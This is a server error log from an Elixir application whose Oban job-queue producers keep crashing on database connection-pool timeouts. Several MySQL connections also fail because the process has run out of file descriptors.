[Sat Sep  5 23:19:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:18:50.238075Z], limit: 5, uuid: "80d9e141-871c-4be8-9dce-c0c4fa1d0892", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:50.238080Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115407>, refresh_timer: #Reference<0.2525715032.1077411843.247378>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:18:50.238423Z], limit: 50, uuid: "690d6493-dbe3-4b21-8f6b-18d82091b4b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:50.238428Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3874>, refresh_timer: #Reference<0.2525715032.1077411843.247391>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:03.123000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:05.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:05.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:08.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:08.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:18:58.237413Z], limit: 10, uuid: "bfb41cfa-7e3b-4035-925e-64f9f7c3521e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:58.237419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.16078>, refresh_timer: #Reference<0.2525715032.1099431938.16077>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:13.347000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:13.347000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:19:02.239694Z], limit: 50, uuid: "4fe4d047-b670-46f7-b8e6-7934ac82c686", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:02.239698Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.16188>, refresh_timer: #Reference<0.2525715032.1099431938.16178>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:13.639000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:14.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:15.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:19:02.239542Z], limit: 20, uuid: "dd2071dc-e829-417d-a90a-b9f02ceada40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:02.239548Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4254>, refresh_timer: #Reference<0.2525715032.1068498948.4188>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:19:02.240163Z], limit: 3, uuid: "eb90c70a-5621-47bb-8f92-9d47dc93de2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:02.240172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.247532>, refresh_timer: #Reference<0.2525715032.1077411843.247524>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:15.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:19:02.239167Z], limit: 5, uuid: "d8dc76b3-bf59-42e4-afab-da3ea4b445d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:02.239173Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4169>, refresh_timer: #Reference<0.2525715032.1068498948.4163>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:15.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:19:02.239586Z], limit: 5, uuid: "c310c9b6-6bc9-475f-95a8-22ba981044ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:02.239592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4255>, refresh_timer: #Reference<0.2525715032.1068498948.4192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:15.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:16.985000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:17.597000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
